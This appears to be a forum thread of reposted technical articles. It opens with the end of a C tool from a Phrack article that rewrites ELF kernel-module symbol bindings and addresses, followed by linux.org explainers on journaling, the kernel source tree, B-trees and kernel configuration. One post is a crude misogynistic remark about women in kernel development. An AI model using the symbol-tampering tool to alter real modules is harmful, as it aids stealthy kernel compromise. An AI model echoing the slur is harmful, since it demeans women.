ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len); unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name); int ReoderRelocation(FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym); int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr); void usage(char *cmd); int main (int argc, char **argv) { FILE *fd; Elf32_Ehdr hdr; Elf32_Shdr symtab, strtab; Elf32_Sym sym; Elf32_Off symoffset; Elf32_Addr value; unsigned long new_index = 0; int gflag = 0, vflag = 0, fflag = 0; char *sym_name; int sym_value = 0; long sym_off, str_off; int opt; if ( argc != 4 && argc != 6 ) { usage(argv[0]); exit(-1); } while ((opt = getopt(argc, argv, "vsg")) != -1) { switch (opt) { case 'g': if( argc-1 < optind) { printf("[-] You must specify symbol name!\n"); usage(argv[0]); exit(-1); } gflag = 1; sym_name = argv[optind]; break; case 's': if( argc-1 < optind) { printf("[-] You must specify symbol name!\n"); usage(argv[0]); exit(-1); } fflag = 1; sym_name = argv[optind]; break; case 'v': if( argc-1 < optind) { printf("[-] You must specify new symbol address\n"); usage(argv[0]); exit(-1); } vflag = 1; sym_value = strtol(argv[optind], (char **) NULL, 16); break; default: usage(argv[0]); exit(-1); } } printf("[+] Opening %s file...\n", argv[argc-1]); fd = fopen (argv[argc-1], "r+"); if (fd == NULL) { printf("[-] File \"%s\" not found!\n", argv[1]); exit(-1); } printf("[+] Reading Elf header...\n"); if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) { printf("[-] Elf header corrupted!\n"); exit(-1); } printf("\t>> Done!\n"); printf("[+] Finding \".symtab\" section...\n"); sym_off = ElfGetSectionByName (fd, &hdr, ".symtab", &symtab); if (sym_off == -1) { printf("[-] Can't get .symtab section\n"); exit(-1); } printf("\t>> Found at 0x%x\n", (int )sym_off); printf("[+] Finding \".strtab\" section...\n"); str_off = ElfGetSectionByName (fd, &hdr, ".strtab", &strtab); if (str_off == -1) { printf("[-] Can't get .strtab section!\n"); exit(-1); } printf("\t>> Found at 0x%x\n", (int )str_off); printf("[+] Getting symbol' infos:\n"); symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, sym_name, &sym); if ( (int) symoffset == -1) { printf("[-] Symbol \"%s\" not found!\n", sym_name); exit(-1); } if ( gflag == 1 ) { if ( ELF32_ST_BIND(sym.st_info) == STB_LOCAL ) { unsigned char global; unsigned long offset = 0; printf("[+] Reordering symbols:\n"); new_index = ReorderSymbols(fd, &symtab, &strtab, sym_name); printf("[+] Updating symbol' infos:\n"); symoffset = ElfGetSymbolByName(fd, &symtab, &strtab, sym_name, &sym); if ( (int) symoffset == -1) { printf("[-] Symbol \"%s\" not found!\n", sym_name); exit(-1); } offset = symoffset+1+sizeof(Elf32_Addr)+1+sizeof(Elf32_Word)+2; printf("\t>> Replacing flag 'LOCAL' located at 0x%x with 'GLOBAL'\ \n", (unsigned int)offset); if (fseek (fd, offset, SEEK_SET) == -1) { perror("[-] fseek: "); exit(-1); } global = ELF32_ST_INFO(STB_GLOBAL, STT_FUNC); if (fwrite (&global, sizeof(unsigned char), 1, fd) < 1) { perror("[-] fwrite: "); exit(-1); } printf("[+] Updating symtab infos at 0x%x\n", (int )sym_off); if ( fseek(fd, sym_off, SEEK_SET) == -1 ) { perror("[-] fseek: "); exit(-1); } symtab.sh_info = new_index; // updating sh_info with the new index // in symbol table. if( fwrite(&symtab, sizeof(Elf32_Shdr), 1, fd) < 1 ) { perror("[-] fwrite: "); exit(-1); } } else { printf("[-] Already global function!\n"); } } else if ( fflag == 1 && vflag == 1 ) { memset(&value, 0, sizeof(Elf32_Addr)); memcpy(&value, &sym_value, sizeof(Elf32_Addr)); printf("[+] Replacing 0x%.8x with 0x%.8x... ", sym.st_value, value); if (fseek (fd, symoffset+sizeof(Elf32_Word), SEEK_SET) == -1) { perror("[-] fseek: "); exit(-1); } if (fwrite (&value, sizeof(Elf32_Addr), 1, fd) < 1 ) { perror("[-] fwrite: "); exit(-1); } printf("done!\n"); fclose (fd); } return 0; } /* This function returns the offset relative to the symbol name "name" */ Elf32_Off ElfGetSymbolByName(FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) { unsigned int i; char symname[255]; for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) { if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) { perror("\t[-] read: "); exit(-1); } memset (symname, 0, sizeof (symname)); ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname)); if (!strcmp (symname, name)) { printf("\t>> Symbol found at 0x%x\n", symtab->sh_offset + (i * symtab->sh_entsize)); printf("\t>> Index in symbol table: 0x%x\n", i); return symtab->sh_offset + (i * symtab->sh_entsize); } } return -1; } /* This function returns the new index of symbol "name" inside the symbol * table after re-ordering. */ unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name) { unsigned int i = 0, j = 0; char symname[255]; Elf32_Sym *all; Elf32_Sym temp; unsigned long new_index = 0; unsigned long my_off = 0; printf("\t>> Starting:\n"); all = (Elf32_Sym *) malloc(sizeof(Elf32_Sym) * (symtab->sh_size/symtab->sh_entsize)); if ( all == NULL ) { return -1; } memset(all, 0, symtab->sh_size/symtab->sh_entsize); my_off = symtab->sh_offset; for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) { if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (&all[i], sizeof (Elf32_Sym), 1, fd) < 1) { printf("\t[-] fread: "); exit(-1); } memset (symname, 0, sizeof (symname)); ElfGetSymbolName(fd, all[i].st_name, strtab, symname, sizeof(symname)); if (!strcmp (symname, name)) { j = i; continue; } } temp = all[j]; for ( i = j; i < (symtab->sh_size/symtab->sh_entsize); i++ ) { if ( i+1 >= symtab->sh_size/symtab->sh_entsize ) break; if ( ELF32_ST_BIND(all[i+1].st_info) == STB_LOCAL ) { printf("\t>> Moving symbol from %x to %x\n", i+1, i); all[i] = all[i+1]; } else { new_index = i; printf("\t>> Moving our symbol from %d to %x\n", j, i); all[i] = temp; break; } } printf("\t>> Last LOCAL symbol: 0x%x\n", (unsigned int)new_index); if ( fseek (fd, my_off, SEEK_SET) == -1 ) { perror("\t[-] fseek: "); exit(-1); } if ( fwrite(all, sizeof( Elf32_Sym), symtab->sh_size/symtab->sh_entsize, fd) < (symtab->sh_size/symtab->sh_entsize )) { perror("\t[-] fwrite: "); exit(-1); } printf("\t>> Done!\n"); free(all); return new_index; } int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr) { if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) { printf("\t[-] Sections header corrupted"); exit(-1); } return 0; } int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr) { int i; char name[255]; Elf32_Shdr shstrtable; ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable); memset (name, 0, sizeof (name)); for ( i = 0; i < ehdr->e_shnum; i++) { if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) { printf("[-] Sections header corrupted"); exit(-1); } ElfGetSectionName (fd, shdr->sh_name, &shstrtable, name, sizeof (name)); if (!strcmp (name, section)) { return ehdr->e_shoff + (i * ehdr->e_shentsize); } } return -1; } int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } while ( (i < len-1) || *res != '\0' ) { *res = fgetc (fd); i++; res++; } return 0; } void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } while ((i < len-1) || *res != '\0') { *res = fgetc (fd); i++; res++; } return; } void usage(char *cmd) { printf("Usage: %s <option(s)> <module_name>\n", cmd); printf("Option(s):\n"); printf(" -g [symbol]\tSymbol we want to change the binding as global\n"); printf("Or:\n"); printf(" -s [symbol]\tSymbol we want to change the value (address)\n"); printf(" -v [value] \tNew value (address) for symbol\n"); return; } ---[ 9.2 - elfstrchange.patch @@ -9,6 +9,7 @@ #include <stdlib.h> #include <stdio.h> #include <elf.h> +#include <string.h> #define FATAL(X) { perror (X);exit (EXIT_FAILURE); } @@ -160,7 +161,7 @@ if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) FATAL ("fseek"); - while ((i < len) || *res == '\0') + while ((i < len-1) || *res != '\0') { *res = fgetc (fd); i++; @@ -179,7 +180,7 @@ if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) FATAL ("fseek"); - while ((i < len) || *res == '\0') + while ((i < len-1) || *res != '\0') { *res = fgetc (fd); i++; ---[ EOF Sursa: http://www.phrack.org/issues.html?issue=68&id=6#article
  17. Ce cacat, a ajuns o pizda sa se ia de Linus? Daca nu era asa "rau", kernelul nu era niciodata atat de stabil! Acum, sincer, fiind foarte multe persoane care scriu cod (chiar si FEMEI, ciudat), e normal ca cel putin o parte dintre aceste persoane sa scrie cod cu picioarele, si Linus are tot dreptul sa se pise pe ei (si pe ELE). Nu vreau sa par misogin, dar ce cauta femeile la kernel?
  18. Journal File System Jarret W. Buse JOURNALING If a system crashes, sometimes the loss of data occurs. Files written (created or modified), during a system crash, can be corrupted if not closed when the system shuts down. Using a journal allows data recovery of files and the data within it. What occurs during the journaling process is that a user submits a change to a file. The first thing the file system does is to mark the changes in a 'journal', or a separate file used specifically for journaling. The size of the journal file is a set size which when full, older entries are overwritten (often called a circular file). Three events can cause the journal entries to be written to the specified files: 1. File system buffer is low 2. Timed setting has expired 3. Journal is getting full and could start overwriting itself If a crash occurs, the journal entries and files are compared. Data is written to the files that are in the journal, but not yet on the disk. The process recovers the data to its wanted state. There are three types of Journaling: writeback, ordered and data. 1. writeback Here, only the metadata is journaled and data is written to the file on the disk. In a crash, the file system is recoverable, but the physical data can be corrupted. Corruption can occur if a crash happens after the journal is made of the metadata, but before the writing of the physical data. File system recovery is the worst, but the performance is the best. 2. ordered (default) This mode is the reverse of writeback. The physical data is written first before the metadata is journaled. The ordered mode allows the data and file system to be uncorrupted if a system crashes before the journal is written. File system recovery is medial. 3. data In the data mode, the metadata and file contents are journaled. System performance can be poorer than the other two modes, but the fault tolerance is much better. NOTE: Be aware that fault tolerance is not 100% guaranteed if a hard disk failure occurs that is irrecoverable. Data backups need to be performed persistently for data recovery by a hardware failure (or destruction of a computer - fire, and the like). Let's back up a bit. The Journal itself may or may not be on the same physical hard disk as the data it journals. Some file systems may place the log in the same partition as the data on the same physical disk, but its own partition, or on a separate physical drive. Be aware that the Journal file sometimes is not readily visible to a user. Occasionally, the journal is part of the file system and therefore not viewable at all. For some file systems (ext 3 and 4) you can use the following code to read the journal showing block pointers: sudo debugfs /dev/sda# (where # is the partition number - the default is 1 for the first partition) debugfs: logdump You should get something similar to the following (from an ext4 file system with writeback): Journal starts at block 1, transaction 2 Found expected sequence 2, type 1 (descriptor block) at block 1 Found expected sequence 2, type 2 (commit block) at block 4 Found expected sequence 3, type 1 (descriptor block) at block 5 Found expected sequence 3, type 2 (commit block) at block 7 Found expected sequence 4, type 1 (descriptor block) at block 8 Found expected sequence 4, type 2 (commit block) at block 10 Found expected sequence 5, type 1 (descriptor block) at block 11 Found expected sequence 5, type 2 (commit block) at block 13 Found expected sequence 6, type 1 (descriptor block) at block 14 Found expected sequence 6, type 2 (commit block) at block 16 Found expected sequence 7, type 1 (descriptor block) at block 17 Found expected sequence 7, type 2 (commit block) at block 20 Found expected sequence 8, type 1 (descriptor block) at block 21 Found expected sequence 8, type 2 (commit block) at block 23 Found expected sequence 9, type 1 (descriptor block) at block 24 Found expected sequence 9, type 2 (commit block) at block 30 Found expected sequence 10, type 1 (descriptor block) at block 31 Found expected sequence 10, type 2 (commit block) at block 33 Found expected sequence 11, type 1 (descriptor block) at block 34 Found expected sequence 11, type 2 (commit block) at block 36 Found expected sequence 12, type 1 (descriptor block) at block 37 Found expected sequence 12, type 2 (commit block) at block 39 Found expected sequence 13, type 1 (descriptor block) at block 40 Found expected sequence 13, type 2 (commit block) at block 42 Found expected sequence 14, type 1 (descriptor block) at block 43 Found expected sequence 14, type 2 (commit block) at block 45 Found expected sequence 15, type 1 (descriptor block) at block 46 Found expected sequence 15, type 2 (commit block) at block 48 Found expected sequence 16, type 1 (descriptor block) at block 49 Found expected sequence 16, type 2 (commit block) at block 51 Found expected sequence 17, type 1 (descriptor block) at block 52 Found expected sequence 17, type 2 (commit block) at block 54 Found expected sequence 18, type 1 (descriptor block) at block 55 Found expected sequence 18, type 2 (commit block) at block 57 Found expected sequence 19, type 1 (descriptor block) at block 58 Found expected sequence 19, type 2 (commit block) at block 60 Found expected sequence 20, type 1 (descriptor block) at block 61 Found expected sequence 20, type 2 (commit block) at block 63 Found expected sequence 21, type 1 (descriptor block) at block 64 Found expected sequence 21, type 2 (commit block) at block 66 Found expected sequence 22, type 1 (descriptor block) at block 67 Found expected sequence 22, type 2 (commit block) at block 69 Found expected sequence 23, type 1 (descriptor block) at block 70 Found expected sequence 23, type 2 (commit block) at block 72 Found expected sequence 24, type 1 (descriptor block) at block 73 Found expected sequence 24, type 2 (commit block) at block 75 Found expected sequence 25, type 1 (descriptor block) at block 76 Found expected sequence 25, type 2 (commit block) at block 78 Found expected sequence 26, type 1 (descriptor block) at block 79 Found expected sequence 26, type 2 (commit block) at block 81 Found expected sequence 27, type 1 (descriptor block) at block 82 Found expected sequence 27, type 2 (commit block) at block 84 Found expected sequence 28, type 1 (descriptor block) at block 85 Found expected sequence 28, type 2 (commit block) at block 87 Found expected sequence 29, type 1 (descriptor block) at block 88 Found expected sequence 29, type 2 (commit block) at block 90 Found expected sequence 30, type 1 (descriptor block) at block 91 Found expected sequence 30, type 2 (commit block) at block 93 No magic number at block 94: end of journal. The "type 1" entries are entries in the journal at the beginning of a transaction (in this case the writing of 3 data blocks). The "type 2" are the blocks of the data written to the journal, either metadata and/or file information depending on the Journaling type selected. Shown in the previous example, the journal starts at block 1. It has 2 transactions and ends at block 94. Overall, you need to decide if a journal is needed to help with recovery of data. If so, the Journal mode needs to be determined, but usually the default of the ordered type gives a median of performance and recovery. Always keep in mind not to rely on the journal for data redundancy. The journal only assists in data recovery for a file system error, not a hardware failure. Nothing ever compares to data backups for full recovery of data. Sursa: Journal File System | Linux.org
  19. [h=1]The Linux Kernel: The Source Code[/h][h=3]DevynCJohnson[/h]After the kernel source code is downloaded and uncompressed, users will see many folders and files. It may be a challenge trying to find a particular file. Thankfully, the source code is sorted in a specific way. This enables developers to find any given file or part of the kernel. The root of the kernel source code contains the folders listed below. arch block crypto Documentation drivers firmware fs include init ipc kernel lib mm net samples scripts security sound tools usr virt There are also some files that are located in the root of the source code. They are listed in the table below. COPYING - Information about licensing and rights. The Linux kernel is licensed under the GPLv2 license. This license grants anyone the right to use, modify, distribute, and share the source code and compiled code for free. However, no one can sell the source code. CREDITS - List of contributors Kbuild - This is a script that sets up some settings for making the kernel. For example, this script sets up a ARCH variable where ARCH is the processor type that a developer wants the kernel to support. Kconfig - This script is used when developer configure the kernel which will be discussed in a later article. MAINTAINERS - This is a list of the current maintainers, their email addresses, website, and the specific file or part of the kernel that they specialize in developing and fixing. This is useful for when a developer finds a bug in the kernel and they wish to report the bug to the maintainer that can handle the issue. Makefile - This script is the main file that is used to compile the kernel. This file passes parameters to the compiler as well as the list of files to compile and any other necessary information. README - This text file provides information to developers that want to know how to compile the kernel. REPORTING-BUGS - This text document provides information on reporting bugs. The coding for the kernel will be in files with the extension ".c", or ".h". The “.c” extension indicates that the kernel is written in C, one of many programming languages. The “.h” files are Header files, and they are also written in C. The header files contain code that many of the “.c” files use. This saves programmers' time because they can use the contained code instead of writing new code. Otherwise, a group of code that performs the same action would be in many or all of the “.c” files. That would also consume and waste hard drive space. All of the files in the above listed folders are well organized. The folder names help developers to at least have a good guess on the contents of the folders. A directory tree and descriptions are provided below. arch - This folder contains a Kconfig which sets up some settings for compiling the source code that belongs in this folder. Each supported processor architecture is in the corresponding folder. So, the source code for Alpha processors belong in the alpha folder. Keep in mind that as time goes on, some new processors will be supported, or some may be dropped. For Linux Kernel v3.9.4, these are the folders under arch: alpha arc arm arm64 avr32 blackfin c6x cris frv h8300 hexagon ia64 m32r m68k metag microblaze mips mn10300 openrisc parisc powerpc s390 score sh sparc tile um unicore32 x86 xtensa block – This folder holds code for block-device drivers. Block devices are devices that accept and send data in blocks. Data blocks are chunks of data instead of a continual stream. crypto - This folder contains the source code for many encryption algorithms. For example, “sha1_generic.c” is the file that contains the code for the sha1 encryption algorithm. Documentation - This folder contains plain-text documents that provide information on the kernel and many of the files. If a developer needs information, they may be able to find the needed information in here. drivers - This directory contains the code for the drivers. A driver is software that controls a piece of hardware. For example, for a computer to understand the keyboard and make it usable, a keyboard driver is needed. Many folders exist in this folder. Each folder is named after each piece or type of hardware. For example, the bluetooth folder holds the code for bluetooth drivers. Other obvious drivers are scsi, usb, and firewire. Some drivers may be more difficult to find. For instance, joystick drivers are not in a joystick folder. Instead, they are under ./drivers/input/joystick. Keyboard and mouse drivers are also located in the input folder. The Macintosh folder contains code for hardware made by Apple. The xen folder contains code for the Xen hypervisor. A hypervisor is software or hardware that allows users to run multiple operating systems on a single computer. This means that the xen code would allow users to have two or more Linux system running on one computer at the same time. Users could also run Windows, Solaris, FreeBSD, or some other operating system on the Linux system. There are many other folders under drivers, but they are too numerous to mention in this article, but they will in a later article. firmware - The firmware folder contains code that allows the computer to read and understand signals from devices. For illustration, a webcam manages its own hardware, but the computer must understand the signals that the webcam is sending the computer. The Linux system will then use the vicam firmware to understand the webcam. Otherwise, without firmware, the Linux system does not know how to process the information that the webcam is sending. Also, the firmware helps the Linux system to send messages to the device. The Linux system could then tell the webcam to refocus or turnoff. fs - This is the FileSystem folder. All of the code needed to understand and use filesystems is here. Inside this folder, each filesystem's code is in its own folder. For instance, the ext4 filesystem's code is in the ext4 folder. Within the fs folder, developers will see some files not in folders. These files handle filesystems overall. For example, mount.h would contain code for mounting filesystems. A filesystem is a structured way to store and manage files and directories on a storage device. Each filesystem has its own advantages and disadvantages. These are due to the programming of the filesystem. For illustration, the NTFS filesystem supports transparent compression (when enabled, files are automatically compressed without the user noticing). Most filesystems lack this feature, but they could only possess this ability if it is programmed into the files in the fs folder. include - The include folder contains miscellaneous header files that the kernel uses. The name for the folder comes from the C command "include" that is used to import a header into C code upon compilation. init - The init folder has code that deals with the startup of the kernel (INITiation). The main.c file is the core of the kernel. This is the main source code file the connects all of the other files. ipc - IPC stands for Inter-Process Communication. This folder has the code that handles the communication layer between the kernel and processes. The kernel controls the hardware and programs can only ask the kernel to perform a task. Assume a user has a program that opens the DVD tray. The program does not open the tray directly. Instead, the program informs the kernel that the tray should be opened. Then, the kernel opens the tray by sending a signal to the hardware. This code also manages the kill signals. For illustration, when a system administrator opens a process manager to close a program that has locked-up, the signal to close the program is called a kill signal. The kernel receives the signal and then the kernel (depending on which type of kill signal) will ask the program to stop or the kernel will simply take the process out of the memory and CPU. Pipes used in the command-line are also used by the IPC. The pipes tell the kernel to place the output data on a physical page on in memory. The program or command receiving the data is given a pointer to the page on memory. kernel - The code in this folder controls the kernel itself. For instance, if a debugger needed to trace an issue, the kernel would use code that originated from source files in this folder to inform the debugger of all of the actions that the kernel performs. There is also code here for keeping track of time. In the kernel folder is a directory titled "power". Some code in this folder provide the abilities for the computer to restart, power-off, and suspend. lib - the library folder has the code for the kernel's library which is a set of files that that the kernel will need to reference. mm - The Memory Management folder contains the code for managing the memory. Memory is not randomly placed on the RAM. Instead, the kernel places the data on the RAM carefully. The kernel does not overwrite any memory that is being used or that holds important data. net - The network folder contains the code for network protocols. This includes code for IPv6 and Appletalk as well as protocols for Ethernet, wifi, bluetooth, etc. Also, the code for handling network bridges and DNS name resolution is in the net directory. samples - This folder contains programming examples and modules that are being started. Assume a new module with a helpful feature is wanted, but no programmer has announced that they would work on the project. Well, these modules go here. This gives new kernel programmers a chance to help by going through this folder and picking a module they would like to help develop. scripts - This folder has the scripts needed for compiling the kernel. It is best to not change anything in this folder. Otherwise, you may not be able to configure or make a kernel. security - This folder has the code for the security of the kernel. It is important to protect the kernel from computer viruses and hackers. Otherwise, the Linux system can be damaged. Kernel security will be discussed in a later article. sound - This directory has sound driver code for sound/audio cards. tools - This directory contains tools that interact with the kernel. usr - Remember the vmlinuz file and similar files mentioned in the previous article? The code in this folder creates those files after the kernel is compiled. virt - This folder contains code for virtualization which allows users to run multiple operating systems at once. This is different from Xen (mentioned previously). With virtualization, the guest operating system is acting like any other application within the Linux operating system (host system). With a hypervisor like Xen, the two operating systems are managing the hardware together and the same time. In virtualization, the guest OS runs on top of the Linux kernel while in a hypervisor, there is no guest OS and all of the operating systems do not depend on each other. Tip: Never move a file in the kernel source unless you know what you are doing. Otherwise, the compilation with fail due to a "missing" file. The Linux kernel folder structure has remained relatively constant. The kernel developers have made some modifications, but overall, this setup is the same throughout all kernel versions. The driver folder's layout also remains about the same. The next article will discuss kernel drivers. Sursa: The Linux Kernel: The Source Code | Linux.org
  20. [h=1]Trees, B-Trees, B+Trees and H-Trees[/h][h=3]Jarret W. Buse[/h]B+Tree B-Trees are used to help search various data. Some file systems use B+Tree to search directories, extent descriptors, file allocation and even file retrieval. In the future, B+Tree may be used to search through more types of data within the file systems. First, let's look at a Tree, and we'll use letters to represent files (C, F, L, N, P and Z). A Tree is a tree structure (upside down as most people say), which consists of one root node, children nodes and leaf nodes. Each node contains a key and pointer. The key is the search item, such as a file name. The data pointer for the key points to the actual data. So, looking at Figure 1, let's assume File L is entered first in the Tree. FIGURE 1 The next File added is File C. File C is added under the root node and to the left since the value is less than the root (C<Z). Greater values go to the right, so if File Z is added, it goes to the right of the root as shown in Figure 2. FIGURE 2 We have 3 files left to add, so let's add File F, N and P as shown in Figure 3. FIGURE 3 In this case, the Tree is not balanced; that is, there are more nodes to the right of the root than to the left. In some cases, this may be fine. If you access File L more than the others, the search will occur very quickly. Of course with the number of files on some file systems being over 10,000, this Tree would be quite large. From Figure 3, Node L is the root node. Node C is a child node (as is Node Z and N). Nodes F and P are Leaf Nodes. Leaf Nodes are the nodes on the end that have no child nodes. Node C is considered a parent of Nodes F. Node L (root) is the parent of Node C and Z. In an extreme case, the root could be File Z, followed by a child node of File P, then N, L, F and finally C as shown in Figure 4. The layout would produce a very unbalanced tree that most likely would cause lengthy searches. FIGURE 4 Now, B-Tree uses more keys within a node, otherwise referred to as the order. If a B-Tree node contains five pointers, it is a B-Tree of order 5. Let's look at an example of a B-Tree root as shown in Figure 5. FIGURE 5 The dots represent the pointers while the numbers represent the key values (file names, etc.). Notice that for this node, each Key has a partnered Pointer: Key-1 and Pointer-1, Key-2 and Pointer-2, etc. If you look at Figure 5, you notice there is an extra Pointer (Pointer-0). The tree works in a similar way as a regular tree. If the search item we are looking for is less than Key-1, Pointer-0 is followed. If the search item is greater than or equal to Key-1 and less than Key-2, we follow Pointer-1. If the search item is greater than or equal to Key-2 and less than Key-3, we follow Pointer-2. For example, if we were searching for number 1, we would follow Pointer-0. If we were searching for 12, we would follow Pointer-2. By following these pointers, we are led to another node to perform the same task and so on until we reach a leaf which contains the search value. The search value points to our file we are searching for or the search item is not found and an error message is returned. Take a look at Figure 6 for the following example. FIGURE 6 Let's say we are searching for 5. We start at the root node and determine if the search value is less than Key-1 (3). Since it is not, we see if the search value is between Key-1 (3) and Key-2 (10), which it is so we follow Pointer-1. At this node, we check if the search value is less than Key-1 (5), it is not. Our search value is equal to Key-1 (5) so we follow Pointer-1 and find two leaf nodes (5 and 6). The first value matches our search, so we use the value in the leaf node to get to the file for which we have been searching. Now, let's say we are searching for File-18. We start at the root and follow Pointer-2 since our search value is greater than or equal to Key-2 (10). At the next node, we have three key values to check: 10, 15 and 22. We know that 18 is greater than 10 and 15, so we can skip Pointer-0 and Pointer-1, and we follow Pointer-2. At the leaf nodes, we find two leaves, 15 and 20. File-18 does not exist and a message can alert the user that there is no such file. NOTE: Be aware that these searches typically are extremely fast. You can see how a tree can allow for faster searching than going through a whole sequential file. Now to move on to the more difficult parts: insertion and deletion. For Figure 6, let's add File-12. The first thing that is done when doing an insertion or deletion is to search for the entry that is being inserted or deleted. This is done for specific reasons: Insertion - the entry must not already exist Deletion - the entry must already exist If the entry to be inserted exists, or the entry to delete does not exist, a message is generated. In the case of an indexed file listing for a file system, if a file exists that we are copying to the harddisk, we get a query asking to overwrite the file (it was found in the B-Tree). If we want to delete a file that does not exist, we get an error that the file does not exist. Now, to get to the details of inserting File-12; if you look at Figure 6, we follow Pointer-2 to the next node. File-12 is greater than Key-1 (10) and less than Key-2 (15), so we follow Pointer-1. Now we find two leaf nodes (10 and 14). File-12 should be inserted between the two as shown in Figure 7. File-12 is placed between the leaves since it goes there, and since it falls between Leaf-10 and Leaf-14, no entries need to be made in a node. FIGURE 7 Now, let's look at the possibility of adding File-8. Looking at Figure 7, we can see the File-8 would be searched for, from the root, down Pointer-1. File-8 does not fit in this node anywhere, so another key must be made: Key-3 (8) as shown in Figure 8. FIGURE 8 Now we can try another. Let's add File-30. Following Pointer-2 from the root, we get to a node that has one space left, and File-30 is added there as shown in Figure 9. FIGURE 9 What happens if we want to add File-40? Well, if the B-tree is an order 5, we can only have five pointers per node. By adding File-40, we would create a node with more than five pointers. To accomplish the insertion, we take the node that is full and remove half the keys and pointer pairs. These entries will then be placed in a new node. All associated leaves will be moved as well, as shown in Figure 10. NOTE: Each node must contain at least 2 keys (the root is the exception). FIGURE 10 The keys (22 and 30) are moved to a new node. The largest leaf value (20) is added to the previous node Key-3 so we now have a new high end for the node. Key-2 will now become File-40 when inserting the new key. The first Key (30) of the new node must be placed in the root and a pointer associated with it. As you can see, File-22 and File-27 are placed in leaf nodes with Pointer-0 pointing to it. NOTE: When something changes, the effect can "ripple" up to the root node. This is extremely true for large B-Trees which may have fuller nodes. Looking at Figure 10, if one of the following entries were to be deleted (6, 9, 12, 14, 22, or 27), these could be removed with no further actions. A search would be performed and once the entry was found, the leaf would be deleted. For example, to delete File-9 from the B-Tree would result in Figure 11. FIGURE 11 Now, let’s look at what happens if we remove File-5. File-5 can easily be removed, but it is also a key. Here the key would be removed as well. Keys (7 and 8) to the right of the key would be moved to the left. Any leaf nodes not being removed (6) would be moved to be with the leaves (3) to the left as well as shown in Figure 12. FIGURE 12 If we removed File-30, the same would happen, but the key in the root would change to the new Key-1 for the node as shown in Figure 13. FIGURE 13 If we also removed File-40, the last node would be removed as well as Key-3 in the root node as shown in Figure 14. The leaves 22 and 27 can be moved to the left node. FIGURE 14 The difference between the B-Tree and B+Tree is that a B+Tree allows for data to be stored in the leaves only, while a B-Tree can store data in the Nodes. B+Trees can also store keys with the same data to allow for redundant data, but B-Trees cannot do this. Note: Another type of Tree is the H-Tree. The H-Tree is the same as a B+Tree except that the keys are not a file name, directory name or whatever is being searched, but the keys are hashes. A hash is made of the key being placed into the H-Tree. Sursa: Trees, B-Trees, B+Trees and H-Trees | Linux.org
  21. [h=1]The Linux Kernel: Configuring the Kernel (Part 1)[/h][h=3]DevynCJohnson[/h]Now that we understand the Linux kernel, we can move on to the main event - configuring and compiling the code. Configuring code for the kernel does take a lot of time. The configuration tool asks many questions and allows developers to configure every aspect of the kernel. If unsure about any question or feature, it is best to pick the default value provided by the configuration tool. This tutorial series will walk readers through the whole process of configuring the kernel. To configure the code, open a terminal in the main source code folder. Once a terminal is up, there are a few ways to configure the code based on the preferred configuration interface. make config - Plain text interface (most commonly used choice) make menuconfig - Text-based with colored menus and radiolists. This options allows developers to save their progress. - ncurses (ncurses-devel) must be installed make nconfig - Text-based colored menus - curses (libcdk5-dev) must be installed make xconfig - QT/X-windows interface – QT is required make gconfig - Gtk/X-windows interface – GTK is required make oldconfig - Plain text interface that defaults questions based on the local config file make silentoldconfig - This is the same as oldconfig except the questions answered by the config file will not be shown make olddefconfig - This is like silentoldconfig except some questions are answered by their defaults make defconfig - This option creates a config file that uses default settings based on the current system's architecture. make ${PLATFORM}_defconfig - Creates a config file using values from arch/$ARCH/configs/${PLATFORM}_defconfig. make allyesconfig - This option creates a config file that will answer yes to as many questions as possible. make allmodconfig - This option creates a config file that will make as many parts of the kernel a module as possible NOTE: Code in the Linux kernel can be put in the kernel itself or made as a module. For instance, users can add Bluetooth drivers as a module (separate from the kernel), add to the kernel itself, or not add at all. When code is added to the kernel itself, the kernel requires more RAM space and boot-up time may take longer. However, the kernel will perform better. If code is added as modules, the code will remain on the hard-drive until the code is needed. Then, the module is loaded to RAM. This will reduce the kernel's RAM usage and decrease boot time. However, the kernel's performance may suffer because the kernel and the modules will be spread throughout the RAM. The other choice is to not add some code. For illustration, a kernel developer may know that a system will never use Bluetooth devices. As a result, the drivers are not added to the kernel. This improves the kernel's performance. However, if users later need Bluetooth 